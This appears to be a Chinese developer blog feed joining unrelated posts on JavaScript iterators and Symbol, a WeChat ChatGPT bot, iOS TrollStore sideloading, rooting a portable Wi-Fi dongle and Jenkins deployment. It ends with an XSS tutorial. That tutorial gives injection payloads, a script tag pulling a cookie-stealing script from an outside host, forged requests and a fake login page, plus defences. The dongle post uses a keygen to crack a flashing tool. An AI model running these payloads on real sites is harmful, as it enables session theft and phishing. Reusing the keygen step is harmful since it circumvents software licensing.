迭代器是一种有序、连续的、基于拉取的用于消耗数据的组织方式,用于以一次一步的方式控制行为。
简单的来说我们迭代循环一个可迭代对象,不是一次返回所有数据,而是调用相关方法分次进行返回。
迭代器是帮助我们对某个数据结构进行遍历的对象,这个object
有一个next
函数,该函数返回一个有value
和done
属性的object
,其中value
指向迭代序列中当前next
函数定义的值。
1 | { |
ES6的迭代协议分为迭代器协议(iterator protocol)和可迭代协议(iterable protocol),迭代器基于这两个协议进行实现。
迭代器协议: iterator协议
定义了产生value
序列的一种标准方法。只要实现符合要求的next
函数,该对象就是一个迭代器。相当遍历数据结构元素的指针,类似数据库中的游标。
可迭代协议: 一旦支持可迭代协议,意味着该对象可以用for-of
来遍历,可以用来定义或者定制 JS 对象的迭代行为。常见的内建类型比如Array
& Map
都是支持可迭代协议的。对象必须实现@@iterator
方法,意味着对象必须有一个带有@@iterator key
的可以通过常量Symbol.iterator
访问到的属性。
1 | // 实现 |
实现了生成迭代器方法的对象称为 可迭代对象
也就是说这个对象中包含一个方法, 该方法返回一个迭代器对象
一般使用 Symbol.iterator
来定义该属性, 学名叫做 @@iterator
方法
1 | // 一个可迭代对象需要具有[Symbol.iterator]方法,并且这个方法返回一个迭代器 |
在上面两个模拟迭代器示例中,还是相对比较复杂,但是ES6引入了一个生成器对象,它可以让创建迭代器对象的过程变得简单很多。
生成器(Generator
)是一种返回 迭代器 的 函数,通过function
关键字后星号(*)来表示,函数中会用到新的关键字yield
。
1 | // 生成器 |
上述示例中,creatIterator()
前的星号* 表明它是一个生成器,通过yield
关键字来指定调用迭代器的next()
方法时的返回值和返回顺序。
每当执行完一条yield语句后函数就会自动停止执行。拿上面的例子来说,执行完语句yield 1
之后,函数便不再执行其他任何语言,直到再次调用迭代器的next()
方法才会继续执行 yield 2
语句。
注意:yield
表达式只能用在 Generator 函数里面,用在其他地方都会报错。
1 | (function (){ |
注意:ES6 没有规定,function
关键字与函数名之间的星号,写在哪个位置。这导致下面的写法都能通过。
1 | function * foo(x, y) { ··· } |
yield
表达式本身没有返回值,或者说总是返回undefined
。next
方法可以带一个参数,该参数就会被当作上一个yield
表达式的返回值。
1 | function* dr(arg) { |
日常开发中会出现,下一个接口依赖于上一个接口的数据的情况,就可以使用生成器,而无需考虑异步回调地狱嵌套的问题。
模拟:1s后获取用户数据,2s后获取订单信息,3s后获取商品信息
1 | function getUser() { |
for of
循环可以获取一对键值中的键值,因为这个循环和迭代器息息相关,就放在这里一起说了。
一个数据结构只要部署了Symbol.iterator
属性,就被视为具有iterato
r接口,可以使用for of
,它可以循环可迭代对象。
JavaScript
默认有iterable
接口的数据结构:
iterator
接口的数据结构都可以使用数组的扩展运算符(…),和解构赋值等操作。尝试用 for or 循环数组
既然数组是支持for...of
循环的,那数组肯定部署了 Iterator
接口,我们通过它来看看Iterator
的遍历过程。
从图中我们能看出:
Iterator
接口返回了一个有next
方法的对象。value
和 当前是否结束done
尝试遍历一下对象,我们会发现他报这个对象是不可迭代的,如下图
那我们可以使用上面的迭代器对象生成器让对象也支持for of
遍历
1 | obj[Symbol.iterator] = function* () { |
也可以使用Object.keys()
获取对象的key
值集合,再使用for of
1 | const obj = {name: 'youhun',age: 18} |
与同步可迭代对象部署了 [Symbol.iterator]
属性不同的是,异步可迭代对象的标志是部署了 [Symbol.asyncIterator]
这个属性。
1 | // 用生成器生成 |
这里的 asyncIterator
就是异步迭代器了。与同步迭代器 iterator
不同的是,在 asyncIterator
上调用 next
方法得到是一个 Promise 对象,其内部值是 { value: xx, done: xx }
的形式,类似于 Promise.resolve({ value: xx, done: xx })
。
如果同步迭代器数据获取需要时间(比如实际场景中请求接口),那么再用 for-of
遍历的话,就有问题。
1 | const obj = { |
可以把这里的每个 item
当成是接口请求,数据返回的时间不一定的。上面的打印结果就说明了问题所在:我们控制不了数据的处理顺序。
再来看看异步迭代器
1 | const obj = { |
注意,异步迭代器要声明在 [Symbol.asyncIterator]
属性里,使用 for-await-of
循环处理的。最终效果是,对任务挨个处理,上一个任务等待处理完毕后,再进入下一个任务。
因此,异步迭代器就是用来处理这种不能即时拿到数据的情况,还能保证最终的处理顺序等于遍历顺序,不过需要依次排队等待。
我们可以使用如下代码进行遍历:
1 | for await (const item of obj) { |
也就是说异步迭代遍历需要使用 for-await-of
语句。 除了能用在异步可迭代对象上,还能用在同步可迭代对象上。
1 | const obj = { |
注意:如果一个对象上同时部署了 [Symbol.asyncIterator]
和 [Symbol.iterator]
,那就会优先使用 [Symbol.asyncIterator]
生成的异步迭代器。这很好理解,因为 for-await-of
本来就是为异步迭代器而生的。
相反如果同时部署了两个迭代器,但使用的是for-or
那么优先使用同步迭代器。
1 | const obj = { |
迭代器生成器逻辑可能有点绕,但是了解其原理是非常有必要的。可以自己尝试写一下,知其然知其所以然。这样才可以有需要的实现定义自己的迭代器来遍历对象,也可以应用在实际开发对应的场景中。
]]>Symbol
作为ES6 新增原始数据类型的一种,表示独一无二的值。
回忆一下原始类型的范畴(string
, number
, boolean
, null
, undefined
, symbol
)。
创建一个Symbol
1 | const a = Symbol() |
需要注意的是通过 Symbol 方法创建值的时候不用使用 new 操作符,原因是通过 new 实例化的结果是一个 object 对象,而不是原始类型的 symbol。
1 | const a = new Symbol() |
通常使用new
来构造是想要得到一个包装对象,而Symbol
不允许这么做,那么如果我们想要得到一个Symbol()
的对象形式,可以使用Object()
函数。
1 | const a = Symbol() |
Symbol 方法接收一个参数,表示对生成的 symbol 值的一种描述。
1 | const a = Symbol('a') |
即使是传入相同的参数,生成的 symbol 值也是不相等的,因为 Symbol 本来就是独一无二的意思。
1 | const a = Symbol('foo') |
Symbol
的应用其实利用了唯一性的特性。
大家有没有想过,如果我们在不了解一个对象的时候,想为其添加一个方法或者属性,又怕键名重复引起覆盖的问题,而这个时候我们就需要一个唯一性的键来解决这个问题,于是Symbol
出场了,它可以作为对象的属性的键,并避免冲突。
1 | // 创建一个`Symbol` |
值得注意的是我们无法使用.
来调用对象的Symbol
属性,所以必须使用[]
来访问Symbol
属性
代码千万行,维护第一难。编码不规范,同事两行泪。
当代码中充斥着大量的魔法字符
时,纵使是原开发者在经过一段时间后再回头看也会变得难以理解,更不必说是交由后来开发者维护。
假如现有一个 Tabs 切换的功能:
1 | if (type === 'basic') { |
上面代码中字符串 basic、super 就是与业务代码无关的魔法字符,接下来使用 Symbol 对这块代码进行改造。
1 | const tabTypes = { |
ES6 中的类是没有 private
关键字来声明类的私有方法和私有变量的,但是我们可以利用 Symbol
的唯一性来模拟。
1 | const speak = Symbol() |
因为使用者无法在外部创建出一个相同的 speak,所以就无法调用该方法。
如果我们想在不同的地方调用已经同一Symbol
即全局共享的Symbol
,可以通过Symbol.for()
方法,参数为创建时传入的描述字符串,该方法可以遍历全局注册表中的的Symbol
,当搜索到相同描述,那么会调用这个Symbol
,如果没有搜索到,就会创建一个新的Symbol
。
为了更好地理解,请看下面例子
1 | const a = Symbol.for('a') |
如上创建Symbol
Symbol.for()
在全局注册表中寻找描述为a
的Symbol
,而目前没有符合条件的Symbol
,所以创建了一个描述为a
的Symbol
b
并使用Symbol.for()
在全局注册表中寻找描述为a
的Symbol
,找到并赋值a
与b
结果为true
反映了Symbol.for()
的作用再来看看下面这段代码
1 | const a = Symbol('a') |
结果竟然是false
,与上面的区别仅仅在于第一个Symbol
的创建方式,我们来一步一步分析一下为什么会出现这样的结果。
Symbol('a')
直接创建,所以该Symbol('a')
不在全局注册表中Symbol.for('a')
在全局注册表中寻找描述为a
的Symbol
,并没有找到,所以在全局注册表中又创建了一个描述为a
的新的Symbol
Symbol
创建的唯一特性,所以a
与b
创建的Symbol
不同,结果为false
问题又又又来了!我们如何去判断我们的Symbol
是否在全局注册表中呢?
Symbol.keyFor()
帮我们解决了这个问题,他可以通过变量名查询该变量名对应的Symbol
是否在全局注册表中(Symbol.for
创建的)
1 | // Symbol.keyFor 方法返回一个使用 Symbol.for 方法创建的 symbol 值的 key |
上面的Symbol
使用是我们自定义的,而JS又内置了Symbol
值,个人的理解为:由于唯一性特点,在对象内,作为一个唯一性的键并对应着一个方法,在对象调用某方法的时候会调用这个Symbol
值对应的方法,并且我们还可以通过更改内置Symbol
值对应的方法来达到更改外部方法作用的效果。
为了更好地理解上面这一大段话,咱们以Symbol.hasInstance
作为例子来看看内置Symbol
到底是个啥!
1 | class demo { |
Symbol.hasInstance
对应的外部方法是instanceof
经常用于判断类型。上面代码创建了一个demo
类,并重写了Symbol.hasInstance
,所以其对应的instanceof
行为也会发生改变,其内部的机制是这样的:当我们调用instanceof
方法的时候,内部对应调用Symbol.hasInstance
对应的方法即return item === '游魂博客'
es6针对这个,添加了Object.getOwnPropertySymbols
方法。
1 | let uid = Symbol('uid') |
1 | let uid = Symbol('uid') |
这里会报错,根据规范,他会把uid转换成字符串进行相加。如果真的相加,可以先String(uid)
之后再相加,不过目前看来,似乎没什么意义。
这里只是介绍了Symbol的一些基础用法,其他使用请参考文档:MDN
]]>最近的热门话题,OpenAI 推出的ChatGPT绝对榜上有名!但是不说注册难度,只说每次需要一些不可抗力的原因才能访问使用就很麻烦,大部分人无法体验到,本文介绍的方式直接对接个人微信(不是公众号)非常平民!基本上有电脑就能自己搭建,文末有免费体验。
ChatGPT是一款开源的聊天机器人框架,它使用了OpenAI的GPT-3语言模型,可以实现自然语言处理、问答和对话生成等功能。通俗的说就是一款AI聊天机器人 。
它可以在模仿人类说话风格的同时回答大量的问题
它可以帮助程序员写出一段代码
也可以帮你计算
总之可以回答很多问题
网上的文章很多,这里就不重复写了。需要注意的就是网络、国外手机号。
可以参考文章:OpenAI 推出超神 ChatGPT 注册攻略来了
获取API Key教程(配置文件需要填写API Key)
登陆 OpenAI - 右上角头像 - View API keys
点击 Create new secret key
API Key 创建成功后复制收藏好这个Key接下来会用到,点击OK后,Key不会再完整显示。只能删了重新生成Key!
https://github.com/869413421/wechatbot
项目基于openwechat 开发的,微信的SDK,请移步这个仓库查看:https://github.com/eatmoreapple/openwechat
鉴于国内访问Github困难 可以使用代理:https://ghproxy.com/
Windows 和 Linux都可以,但是本机需要有Golang环境。参考:Linux服务器搭建部署GO环境
然后直接编译运行项目即可。推荐有一定的技术的童鞋看这部分,不懂技术移步方式二。
拉取代码,安装依赖。
1 | git clone https://ghproxy.com/https://github.com/869413421/wechatbot |
启动运行项目
1 | go run main.go |
这部分建议不太懂技术或嫌编译麻烦的童鞋参考,一把梭哈部署!
Windows 和 Linux都可以,本地不需Golang环境。下载可执行文件直接启动运行。
下载地址:https://gitee.com/shtml/wechatbot/tree/main/bin
下载你本系统需要的可执行文件和配置文件(config.json),注意修改配置文件(下面有描述)!
注意:可执行文件 和 配置文件放到同一个目录!
启动运行,Windows直接双击运行即可!
新建配置文件 config.json
1 | { |
程序启动成功后,浏览器会弹窗一个二维码。直接使用你的微信(微信机器人)扫码登陆即可。
如果Linux服务器上启动,将日志中的图片地址在自己的浏览器打开扫码即可。
1 | 访问下面网址扫描二维码登录 |
微信登陆成功以后,在可执行文件所在的目录多了一个 storage.json
文件。
下次启动程序无需再次扫码登陆微信就能使用了!
却换到其他微信登录一定要将这个 storage.json
文件删除掉,否则会切换失败。
1 | 2022/12/11 08:19:33 login error: write storage.json: bad file descriptor |
微信机器人可以通过群聊中@ 或者 私聊,解答各种问题。
私聊
群聊@
微信搜索添加 iyouhun
,发送关键词 AI体验
即可自动拉进体验群
众所周知,ios系统在因其系统生态的封闭性,隐私性,安全性的考虑,一直对第三方软件限制的非常严重;想安装第三方ipa软件,在早些时候,只有越狱这一条路可走。越狱当然行,但即便不考虑越狱后的稳定性,也有一部分小伙伴,仅仅只有安装个别第三方软件的一个需求,为此而越狱,略显小题大做了。
后来可以利用证书来签名第三方软件,但这种方法一直都有一个缺点,那就是受到证书有效期的限制,个人证书只有7天,还需借助电脑,开发者和企业证书虽然时间长,但大都不是免费的,收费而且极不稳定,属于无奈之选。
现在有了 TrollStore 中文巨魔 永久签名工具,可以免证书永久安装第三方ipa软件【部分型号处理器免越狱且不受关机重启限制】
Github 地址:https://github.com/opa334/TrollStore
什么是TrollStore?
TrollStore是一款iOS应用程序,用于在iOS 14和iOS 15上签名和安装IPA文件,而不需要签名,通常这种行为需要在越狱后才能实现的功能,而它不需要。这个APP翻译过来为巨魔。它无需帐户,无需登录,无需证书,无需越狱,IPA 安装后永不过期,完全免费,使用简单方便。
我的手机能用TrollStore吗?
首先需要你的手机是苹果手机其次就是CPU处理器是A8-A15(iPhone6 - iPhone13)系列并且系统版本是14.0-15.41(15.5 beta1-4/15.6 beta1-4)才可以使用。可以看下作者Github给出的列表。
看清楚你手机的系统版本和处理器,是否都符合,符合就继续,不符合是肯定无法成功的!教程全程无需电脑!
系统版本查看方法:设置-通用-关于本机-软件版本
处理器型号查看方法:打开百度输入:iPhone 13 是什么处理器?iPhone 14 Pro 是什么处理器?
这里为了方便不同的版本我称作版本 A、版本 B、版本 C,请根据自己情况安装
iOS/iPadOS
系统版本:15.0-15.5 beta4
处理器:A9-A15
必须二者都符合
1、复制链接:https://api.jailbreaks.app/troll
2、使用自带 Safari 浏览器【粘贴并前往】点击打开并安装,安装完成后设备桌面会出现【GTA Car Tracker】图标
3、打开 GTA Car Tracker (如果这个 app 没有直接出现,重启设备即可),点击 Install TrollStore 安装 TrollStore
4、上面一步如果点击 Install TrollStore出现error 报错,显示“似乎已断开与互联网的连接”解决方法:
5、如果没有出现报错,请继续:成功安装 TrollStore 工具后,TrollStore 图标会出现在主屏幕上。打开 TrollStore 点击底部【Settings】,再点击【Install ldid】,以便 TrollStore 可以安装未签名的应用程序。
iOS/iPadOS
系统版本:14.x
处理器:A12-A14
必须二者都符合
1、复制链接:https://api.jailbreaks.app/troll64e 【请注意,和上面蓝色链接不一样!】
2、使用自带 Safari 浏览器【粘贴并前往】点击打开并安装,安装完成后设备桌面会出现【GTA Car Tracker】图标
3、打开 GTA Car Tracker (如果这个 app 没有直接出现,重启设备即可),点击 Install TrollStore 安装 TrollStore、
4、如果出现error报错,还按上面方法解决。
5、如果没有出现报错,成功安装 TrollStore 工具后,TrollStore 图标会出现在主屏幕上。打开 TrollStore 点击底部【Settings】,再点击【Install ldid】,以便 TrollStore 可以安装未签名的应用程序。
iOS/iPadOS
系统版本:14.x
处理器:A9-A11
必须二者都符合
注:14.x 且处理器为a9-a11的利用方法似乎有些问题,暂不能免越狱实现,请使用checkra1n + TrollHelper的方法安装 (可在 Havoc 源 https://havoc.app/ 上安装TrollStore Helper)
此教程不再提供详细越狱方法。
不建议已越狱的用户使用 TrollStore 因为越狱了本身就可以不用签名安装应用
1、将需要安装的应用程序 IPA 安装包下载到 iPhone/iPad上,选择 TrollStore 打开就会自动开始安装,完成后就可以永久有效打开安装的免签名 App
2、如果桌面没有出现图标,可以点击 TrollStore 底部 Settings 里的 Respring 注销一次桌面
3、如果想要卸载安装的 App,直接在 TrollStore 底部 Apps 左滑 Delete 删除
4、微信或者QQ等软件,可以直接点击【其他应用打开】按钮,选择TrollStore打开
注:任何第三方网站ipa资源都没有说100%绝对安全,安装使用前自行斟酌。
1、大神汇总:(看不懂不要乱装)
https://github.com/34306/TrollStoreiPA/releases/tag/TS_DailyiPA
2、开发者原版部分ipa包:
开发者原版 Filza IPA 【系统文件管理器】下载地址:https://tigisoftware.com/download/Filza_3.9.7.ipa
开发者原版 Apps Manager IPA 【功能强大的app管理器】下载地址:https://tigisoftware.com/download/AppsManager_1.7.0.ipa
开发者原版 TrollNonce IPA 【固定G值】下载地址:https://github.com/opa334/TrollNonce/releases/download/1.0.1/TrollNonce.ipa
开发者原版 AppStore++ IPA 【免越狱在App Store下载老版本软件】下载地址:https://github.com/CokePokes/AppStorePlus-TrollStore/releases/download/v1.2-1/AppStore++_TrollStore_v1.2-1.ipa
开发者原版 Mugunghwa IPA 【免越狱美化软件】下载地址:https://github.com/s8ngyu/Mugunghwa/releases/download/2.0.3/Mugunghwa.ipa
3、网友分享ipa软件包,包含了多开微信等
成功安装 TrollStore 工具后,需要点击 TrollStore 底部【Settings】,再点击【Install ldid】,这样 TrollStore 才能安装未签名的应用程序(当然并不是所有 IPA 都支持 TrollStore 安装,但绝大部分都可以)
由于 iOS 15.x 是无根模式,安装了 TrollStore之后,点击 TrollStore-Settings-Install Persistence Helper,选择一个自己不用的系统自带应用注入(比如 Tips【提示】app),这样设备重启后,如果 TrollStore 安装的 app 或者它自己出现闪退,那就可以点击之前选择的注入应用(比如 Tips【提示】app),重新激活即可正常打开。
TrollStore 1.1 版本开始内置一键更新按钮,当有新版本推送时,会在 Settings 顶部出现更新按钮,点击即可自动更新安装。
]]>在插件市场购买插件(0元) https://ext.dcloud.net.cn/plugin?id=9035
输入安卓包名(hbuilder点击发行 原生app云打包之后可以看到包名)
配置插件
完成步骤1后 打包(发行 原生app云打包)使用公共测试证书
自定义调试基座 然后运行到安卓app基座(连接手机调试)
第一行引入原生插件(只能在app中生效),其它是腾讯云的配置,userId自己定义,userSig建议服务端生成(https://cloud.tencent.com/document/product/647/17275)
1 | const TUICallKit = uni.requireNativePlugin('TencentCloud-TUICallKit') |
1 | created() { |
测试使用script引入 也可以使用npm(https://cloud.tencent.com/document/product/647/78731)
1 | <script src="./trtc-js-sdk/trtc.js"></script> |
引入客户端生成userSig
相关文件
1 | <script src="./js/clipboard.min.js"></script> |
传入参数 登录,之后就可以呼叫 监听事件等等(https://cloud.tencent.com/document/product/647/78756)
1 | const { |
Web端没看到有通话组件的(呼叫界面、接听界面)
首先感谢酷安随身 Wi-FI
社区,里面有很多参考资料,但是对小白上手不太友好,刚好我也是第一次刷,所以我这边就写了一篇完整的图文教程,希望可以帮到你。
现在市面上的大部分随身 Wi-Fi 除了最基本充当网络热点的功能以外,它还是一块非常标准的高通410/210开发板
(这取决于你的购买),而且它跑的还是安卓系统。可以刷 debian
系统,甚至你还能刷 openwrt
成为软路由,更棒的是 4G 和 Wi-Fi 、USB 等功能都正常工作。
一般的商家宣传说的无需插卡其实都是内置了 eSIM卡,但大部分还是留有卡槽(大卡槽,小卡需要卡套),切记不要激活他内置的流量卡,说白了就是物联网卡,流量不仅贵不说而且还虚标!
我是在京东买的讯唐,日常活动券后价 29,买最基础的就行,链接:https://u.jd.com/cdVKZYw
用完红包一系列骚操作下来9块钱拿下。
到货,有点廉价感
中规中矩的外观,没办法直接插卡,需要拆卸装卡
拔掉 USB 帽,背面可以看到两个螺钉,先不要急着拆看后面的检查!
来源网络,你可以根据你的情况来,也可以直接上我买的那个讯唐
1 | 铁恒信旗舰店 54 元款:UFI003 (后台密码 admin、切卡密码 UFIadmin1234) |
进入 9008模式
就是按住板子上的复位按钮,如果没拆机那就拿针按住然后插入电脑
可以从电脑的设备管理器查看端口有无 9008
面具(Magisk)
adb
fastboot模式
我们先安装需要的9008驱动。打开9008免签名驱动
文件夹,安装驱动。
点击立即安装即可。
打开 Qualcomm Premium Tool V2.4
文件夹。
先用注册机生成.key
文件。
保存.key
文件
打开Premium Tool v2.4
。点击Help
下的Activate
激活,选择你刚才保存的.key
文件即可激活成功
打开 投屏软件 ARDC
文件夹,安装ARDC,请保持默认,一路确认即可。
拔掉随身Wifi,重新插回电脑,此时设备灯亮,说明进入正常adb模式了。
打开ARDC,程序会通过adb的方式推送投屏软件到随身Wifi上。完成以后如图所示,点击鼠标右键进入桌面。
桌面
毕竟这么小的设备上跑安卓系统,我们可以做一下优化,要不然太卡了。
进入设置 => 关于本机 => 点击 10 次版本号进入开发者模式,把所有动画特效都关掉。
请先确认插上随身Wifi后,电脑是不是识别出来了硬件,诸如adb或者Android的字眼,这都意味着你的机器是可以不拆机破解的,他的adb端口是开的。连上随身 Wi-Fi 提供的 Wi-Fi,进入后台,检查下是否能正常工作,防止到手就是坏的。
然后用螺丝刀拆开检查板子,是否有卡槽,以及上面的版本丝印。
如下图,小按钮旁边那个就是卡槽,注意:图中最左边的顶部那里是信号天线,有些人拆了之后插卡测试没网或者信号不好可能就是忘记装了这个东西!
我的这款丝印是:UFI003_MB_V002
三网通,不用切卡不用刷基带,插卡直接用!忽然没了折腾的意义,哈哈哈。
检查的重要性
酷安一个友友,和我的设备一样。私信我他刚买来插卡没有网络…
做好全量备份就不会变砖,随时刷成到手的状态。
进入 9008 模式,打开Premium Tool v2.4。
依次点击Qualcomm
、partition
,然后点击Scan
分区、Do job
扫描。
再依次点击Backup
,Backup All
,Do job
备份即可
安装Miko_pro
,并复制loader.exe
到安装目录。打开loader.exe
。
然后在 miko
里依次选择 Read
,Partition Backup/Earese
点击左下角 Load Partition Structure
看到右边有系统信息的输出就说明连上了
然后点击 Read Full Image
选个路径,取个名字就开始全量备份救砖能用的 .bin
文件。过程会比较慢,可能要十几分钟。
等到跑完进度条 100% 右边的输出显示 success 就备份好了,我们就能开始随意折腾。
打开 星海恢复 备份 生成 修改QCN工具 文件夹中的星海SVIP
随身wifi正常工作状态下,点击上方的高通,先点击联机,再点击备份QCN,选择路径来备份你的基带。点击一键执行即可。
安装Magist
随身 Wi-Fi 插在电脑上,打开 ARDC 投屏软件,等待设备投屏成功。
直接将资源面具Magist
文件夹里的Magisk-v22.0.apk
拖动到 ARDC 窗口中
修补面具
随身Wifi插在电脑上不要动,打开 搞机工具箱_钟晨酱
文件夹
先点击Fastboot(BL)
进入Fastboot
模式
然后分区选择Boot
, 右侧选择14.5magisk修补boot.img
然后输入即可。刷写速度非常快,提示完成即可关闭。
接着拔掉随身wifi并重新插入,打开ardc
,进入桌面打开magisk
。可以看到当前已安装,并获得了root权限。
也可以直接刷入一些整合镜像内就包含了面具及一些常用软件。
我这里用的是酷安一个大佬分享的可以一键刷入UFI003
按复位按钮插入电脑,进入 9008 模式,打开MiFlash
,点击刷新查看设备是否连接上。
点击浏览选择刷机包,选择保留所有数据,点击刷机即可。
时间有点慢,耐心等待一下,成功状态列会有显示。
成功后可以直接打开ARDC
查看。
Ps:不要随便刷入整合镜像!除非和你是同品牌同型号!
大部分 UFI00X 丝印的随身 Wi-Fi 都是支持电信卡的,很多其实也支持联通,移动大概率默认是不支持的。当然因为产品众多,甚至丝印型号相同用的 modem 型号都有差别,当然最麻烦的其实也是这一步,不能保证你刷了基带后移动联通就能正常使用,还是更推荐电信或联通用户使用。
先使用搞机工具箱
重启进入 fastboot
模式。
然后打开`星海工具箱 => 选择高通 => 选择高通基带擦除 => 一键执行,完成后会重启。(如果你的星海无法打开你可能得安装下微软的这个包)
然后勾选写入 QCN,选择全网通的基带写入。会可能一次写入不成功,多写入几次。重启随身 Wi-Fi,看看你的卡能不能正常工作。
如果你的型号是 UFI001W 等,可能你到手设备并没有打开 adb 功能,你可以在 web 管理后台尝试重置。例如我讯唐的后台地址是:192.168.100.1
,其他的参照你随身WiFi的说明书或者随身WiFi机身上的地址。
如果仍然不行。直接 9008 模式用 miflash 工具刷别人改好的包(安装面具的方式二就是),浏览里选择下载解压好的包,刷新勾选设备,点击刷机即可。会直接开启adb、锁定插入的 SIM 卡、和 root 等功能。
备份大法好,备份大法好,备份大法好!
进入9008模式
,进入miko
,点击flash
,点击emmc block0 flasher
。
下方选择备份部分制作救砖包中生成的救砖包(.bin文件),耐心等待刷入即可。
很有可能是你刷入了整合包,自带了锁定 SIM 卡功能,可以插卡重新刷写一遍试试。
随身WiFi用一段时间就会发热的厉害,甚至自动关机。没办法本来就这么一个小小躯体承载了太多,动手能力强的可以自己淘宝买一些小风扇或者散热片改装一下,手残的可以直接买别人改好的。
可按照该商品规格购买:https://m.tb.cn/h.fvmcIWv?tk=XCOV2LYWDGA
目前随身 WiFi 市场除了大品牌有自研芯片、方案。大部分无良商家都是贴牌,成本很便宜也懒得去给加各种限制,采用相同的方案那就意味着大部分都可以刷机,刷机方法大同小异,最多就是刷机包的不同。而且目前社区解决方案多,资料完善,破解方便。
可能大家感觉折腾下来和刚买来没什么区别,但是我们首先不需要使用商家内置的SIM卡了,而且永久解锁SIM卡槽,防止商家远程施法!本文只是基础的刷机 root,但是相当于打通了任督二脉,无往而不利,接下来你随便折腾!可以刷入openwrt
做旁路由、刷入debian
做小型服务器等… 万物皆可刷!
最后,9块钱的随身 WiFi 真香,拜了个拜!
]]>1.进入项目设置 => 开发者选项 => Service Hook => 新建Service Hook
2.根据你的项目选择不同的事件触发类型及过滤条件
3.配置发送方式
执行动作:默认就行
服务URL:就是你的generic-webhook-trigger
调用地址,http://JENKINS_URL/generic-webhook-trigger/invoke
例如:http://108.108.108.108:8080/generic-webhook-trigger/invoke
构建 Token:自定义即可,下面项目发布设置会用到
其他不必填的根据自己实际需求填写
1.点击 Jenkins项目的构建环境
2.选择 Generic Webhook Trigger
3.输入对应 token 保存
A服务器:Jenkins 所在服务器
B 服务器:项目部署所在服务器
A 服务器生成秘钥
1 | ssh-keygen |
A 服务器 将本地的ssh公钥文件安装到远程主机对应的账户下 (也可以手动复制,推荐命令)
1 | 执行命令后输入密码完成复制 |
复制后的文件在 home/用户名/.ssh/
文件下名为 authorized_keys
1 | 比如 新建了一个 Jenkins账户 |
Passphrase: 如果生成秘钥的时候输入了密码,就在这里输入,否则留空
Path to Key: Jenkins 所在服务器秘钥(id_rsa
)的路径,和下面的Key二选一
Key: Jenkins 所在服务器秘钥(id_rsa
)的路内容,和上面的Path to Key二选一
Disable exec: 禁用命令执行,删除从此插件执行命令的能力
Name: 名称,标识,自定义即可,仅用作识别
Host name: 主机名,服务器的主机名或 IP 地址,这里填写B服务器的 IP地址
Username: 将用于连接到主机的用户,比如 root
Remote directory: 远程服务器上的一个目录,将用作此配置的有效根目录,比如/www/wwwroot
高级选项
Use password authentication, or use a different key 可以勾选使用密码连接或者秘钥连接
Passphrase / Password:秘钥密码或者用户名密码
Path to Key: Jenkins 所在服务器秘钥(id_rsa
)的路径,和下面的Key二选一
Key: Jenkins 所在服务器秘钥(id_rsa
)的路内容,和上面的Path to Key二选一
如果用秘钥链接记住这里是Jenkins(A 服务器)的私钥(id_rsa
)
Port:远程服务器端口,如果修改了端口,这里记得也改一下
更多参考:https://wiki.jenkins.io/display/JENKINS/Publish+Over#PublishOver-host
1.点击 Jenkins项目的构建环境
2.根据项目情况选择以下两项
3.选择刚刚添加的发布服务器
4.传输设置
Source files:源文件,支持全部匹配,如果要传输文件夹内所有文件和文件夹则需要在文件夹路径后加两个*符号 模式文档
Remove prefix:移除前缀,是指源文件的前缀,比如现在我们只是传输html文件夹里的所有文件,但是html文件夹本身不需要在远程服务器出现,那么就需要将其移除.
Remote directory: 远程服务器目录,注意该目录是相对于刚刚系统设置里ssh servers
里设置的路径,没有会创建
那么我的此次的目录就是/www/wwwroot/www.iyouhun.com
exec command:在传输完成后执行的命令,一般为清理文件、复制文件、重启一些服务等等
]]>XSS(Cross Site Script)攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。
1 |
|
输入一段脚本代码提交,会直接弹出
我们看一下源代码,script脚本被加载到页面中,这显然是有问题的.
存储型xss会把用户输入的数据存储在服务器端,这种xss具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss”
正常输入
非人类输入
传统类型的XSS漏洞(反射型或存储型)一般出现在服务器端代码中,而DOM XSS是基于DOM文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
例:
1 |
|
点击wirte会有一个超链接,其地址为文本框的内容。
这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。
我们构造一个恶意数据:' onclick="alert(1)"
也可以选择闭合掉标签,并插入一个新的HTML标签
'><img src=# onerror=alert(/xss1/) /><'
常见的XSS漏洞利用方式有Cookie劫持,一般Cookie中保存了用户的登录凭证。如果Cookie泄露,则可以直接登录进用户的账号。
我们可以在最初的反射型例子中输入一段包含远程脚本的代码<script src="https://liuliang.tk/getcookie.js"></script>
看下远程服务器响应日志
通过js,让浏览器发起GET、POST请求,完成各种操作。
1 | // option.js |
构造POST请求:
1.构造form表单,并提交
1 | // option.js |
2.使用 ajax 请求
1 | // option.js |
访问https://liuliang.tk/option.php?xss=<script src="https://liuliang.tk/option.js"></script>
option.txt
中写入结果
伪装一个页面
1 | var dd = document.createElement("div") |
注入 xss https://liuliang.tk/login.php?param=<script src="https://liuliang.tk/login.js"></script>
信息收集用户的浏览器版本信息,扩大攻击面。通过js读取浏览器的userAgent对象识别浏览器版本,查询navigator.plugins对象获取插件信息。
一个cookie的使用过程如下:
step1: 浏览器向服务器发起请求,这时候没有cookie。
step2 : 服务器返回时发送set-cookie,向客户端浏览器写入cookie。
step3: 在该cookie到前期,浏览器访问该域下的所有界面,都将发送该cookie。
1 | <?php |
只有test1
被读取到
对传入参数进行格式校验,并对特殊字符进行过滤或转义。由于输入数据的使用场景不同,过滤或转义可能会影响实际的业务使用。同时XSS攻击发生的位置并不是参数传入的位置,可能存在遗漏。
输入检查的代码一定要在服务器端实现,因为如果在客户端使用JavaScript进行输入检查,很容易绕过检查。正常做法是客户端和服务端实现相同的输入检查,客户端可以阻挡大部分错误操作的正常用户,可以节约服务器的资源。
1 | // js |
对返回给浏览器的输出结果进行HTML实体化编码。对JavaScript输出的用户可控数据进行转义。
1 | <!--api.php--> |
注:htmlentities
